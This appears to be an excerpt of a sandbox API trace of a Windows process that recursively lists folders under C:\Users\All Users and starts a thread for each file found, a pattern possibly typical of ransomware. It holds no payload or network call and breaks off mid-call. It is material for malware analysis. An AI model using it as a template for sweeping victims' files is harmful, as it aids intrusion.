ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.522] wcscmp (_String1="..", _String2=".") returned 1 [0086.522] wcscmp (_String1="..", _String2="..") returned 0 [0086.522] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34a1580 | out: lpFindFileData=0x34a1580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0086.522] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0086.522] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0086.522] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34a1580 | out: lpFindFileData=0x34a1580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0086.522] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0086.522] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0086.522] FindNextFileW (in: hFindFile=0x33e0218, lpFindFileData=0x34a1580 | out: lpFindFileData=0x34a1580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0086.522] FindClose (in: hFindFile=0x33e0218 | out: hFindFile=0x33e0218) returned 1 [0086.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a1580) returned 1 [0086.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5cc8) returned 1 [0086.522] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a518) returned 1 [0086.522] RtlExitUserThread (Status=0x0) Thread: id = 1152 os_tid = 0x42c [0082.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x33e5dc0 [0082.930] wcscpy (in: _Dest=0x33e5dc0, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0082.930] wcscat (in: _Dest=0x33e5dc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\" [0082.930] wcscat (in: _Dest=0x33e5dc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" [0082.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349ea30 [0082.930] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x349ea30 | out: lpFindFileData=0x349ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0298 [0086.520] wcscmp (_String1=".", _String2=".") returned 0 [0086.520] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ea30 | out: lpFindFileData=0x349ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.520] wcscmp (_String1="..", _String2=".") returned 1 [0086.520] wcscmp (_String1="..", _String2="..") returned 0 [0086.520] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ea30 | out: lpFindFileData=0x349ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0086.520] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0086.521] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0086.521] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ea30 | out: lpFindFileData=0x349ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0086.521] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0086.521] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0086.521] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ea30 | out: lpFindFileData=0x349ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0086.521] FindClose (in: hFindFile=0x33e0298 | out: hFindFile=0x33e0298) returned 1 [0086.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349ea30) returned 1 [0086.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5dc0) returned 1 [0086.521] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e5128) returned 1 [0086.521] RtlExitUserThread (Status=0x0) Thread: id = 1153 os_tid = 0x48c [0082.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xea) returned 0x33e4f38 [0082.930] wcscpy (in: _Dest=0x33e4f38, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0082.930] wcscat (in: _Dest=0x33e4f38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\" [0082.930] wcscat (in: _Dest=0x33e4f38, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" [0082.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349ec98 [0082.930] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x349ec98 | out: lpFindFileData=0x349ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0298 [0086.519] wcscmp (_String1=".", _String2=".") returned 0 [0086.519] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ec98 | out: lpFindFileData=0x349ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.519] wcscmp (_String1="..", _String2=".") returned 1 [0086.519] wcscmp (_String1="..", _String2="..") returned 0 [0086.519] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ec98 | out: lpFindFileData=0x349ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0086.519] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0086.519] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0086.519] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ec98 | out: lpFindFileData=0x349ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0086.519] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0086.519] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0086.519] FindNextFileW (in: hFindFile=0x33e0298, lpFindFileData=0x349ec98 | out: lpFindFileData=0x349ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0086.519] FindClose (in: hFindFile=0x33e0298 | out: hFindFile=0x33e0298) returned 1 [0086.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349ec98) returned 1 [0086.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4f38) returned 1 [0086.520] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424900) returned 1 [0086.520] RtlExitUserThread (Status=0x0) Thread: id = 1154 os_tid = 0xf68 [0082.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e3b0 [0082.931] wcscpy (in: _Dest=0x347e3b0, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" [0082.931] wcscat (in: _Dest=0x347e3b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" [0082.931] wcscat (in: _Dest=0x347e3b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*" [0082.931] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349ef00 [0082.931] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\*", lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0618 [0086.592] wcscmp (_String1=".", _String2=".") returned 0 [0086.592] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xad14ee36, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc2d63c47, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xad19b2ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.592] wcscmp (_String1="..", _String2=".") returned 1 [0086.592] wcscmp (_String1="..", _String2="..") returned 0 [0086.592] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 1 [0086.593] wcscmp (_String1="17dfc292991c7c46.timestamp", _String2=".") returned 1 [0086.593] wcscmp (_String1="17dfc292991c7c46.timestamp", _String2="..") returned 1 [0086.593] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x98) returned 0x33eb6d0 [0086.593] wcscpy (in: _Dest=0x33eb6d0, _Source="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage" [0086.593] wcscat (in: _Dest=0x33eb6d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\" [0086.593] wcscat (in: _Dest=0x33eb6d0, _Source="17dfc292991c7c46.timestamp" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp") returned="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp" [0087.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0087.918] FindNextFileW (in: hFindFile=0x33e0618, lpFindFileData=0x349ef00 | out: lpFindFileData=0x349ef00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad19b2ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad19b2ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x70ca10d9, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x33, dwReserved0=0x0, dwReserved1=0x0, cFileName="17dfc292991c7c46.timestamp", cAlternateFileName="17DFC2~1.TIM")) returned 0 [0087.918] FindClose (in: hFindFile=0x33e0618 | out: hFindFile=0x33e0618) returned 1 [0087.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349ef00) returned 1 [0087.919] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e3b0) returned 1 [0087.919] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347daf0) returned 1 [0087.919] RtlExitUserThread (Status=0x0) Thread: id = 1155 os_tid = 0xdd8 [0082.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347e420 [0082.932] wcscpy (in: _Dest=0x347e420, _Source="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" [0082.932] wcscat (in: _Dest=0x347e420, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\" [0082.932] wcscat (in: _Dest=0x347e420, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*" [0082.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349f168 [0082.932] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*", lpFindFileData=0x349f168 | out: lpFindFileData=0x349f168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0518 [0086.591] wcscmp (_String1=".", _String2=".") returned 0 [0086.591] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x349f168 | out: lpFindFileData=0x349f168*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d7cc62, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d35a5d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8d35a5d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.591] wcscmp (_String1="..", _String2=".") returned 1 [0086.591] wcscmp (_String1="..", _String2="..") returned 0 [0086.591] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x349f168 | out: lpFindFileData=0x349f168*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0086.591] wcscmp (_String1="baseimagefam8", _String2=".") returned 1 [0086.591] wcscmp (_String1="baseimagefam8", _String2="..") returned 1 [0086.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7c) returned 0x347f458 [0086.591] wcscpy (in: _Dest=0x347f458, _Source="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64" [0086.591] wcscat (in: _Dest=0x347f458, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\" [0086.591] wcscat (in: _Dest=0x347f458, _Source="baseimagefam8" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8") returned="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" [0087.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347f458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa40 [0087.926] FindNextFileW (in: hFindFile=0x33e0518, lpFindFileData=0x349f168 | out: lpFindFileData=0x349f168*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa33265df, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa33265df, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa315c98a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 0 [0087.926] FindClose (in: hFindFile=0x33e0518 | out: hFindFile=0x33e0518) returned 1 [0087.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349f168) returned 1 [0087.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e420) returned 1 [0087.926] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427478) returned 1 [0087.926] RtlExitUserThread (Status=0x0) Thread: id = 1156 os_tid = 0x754 [0082.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481fd8 [0082.932] wcscpy (in: _Dest=0x3481fd8, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0082.932] wcscat (in: _Dest=0x3481fd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0082.932] wcscat (in: _Dest=0x3481fd8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*" [0082.932] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349f3d0 [0082.932] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\*", lpFindFileData=0x349f3d0 | out: lpFindFileData=0x349f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0598 [0086.591] wcscmp (_String1=".", _String2=".") returned 0 [0086.591] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x349f3d0 | out: lpFindFileData=0x349f3d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.591] wcscmp (_String1="..", _String2=".") returned 1 [0086.591] wcscmp (_String1="..", _String2="..") returned 0 [0086.591] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x349f3d0 | out: lpFindFileData=0x349f3d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7453105, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.exe", cAlternateFileName="")) returned 1 [0086.591] wcscmp (_String1="java.exe", _String2=".") returned 1 [0086.591] wcscmp (_String1="java.exe", _String2="..") returned 1 [0086.591] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e1f0 [0086.592] wcscpy (in: _Dest=0x347e1f0, _Source="C:\\Users\\All Users\\Oracle\\Java\\javapath" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath" [0086.592] wcscat (in: _Dest=0x347e1f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java\\javapath\\") returned="C:\\Users\\All Users\\Oracle\\Java\\javapath\\" [0086.592] wcscat (in: 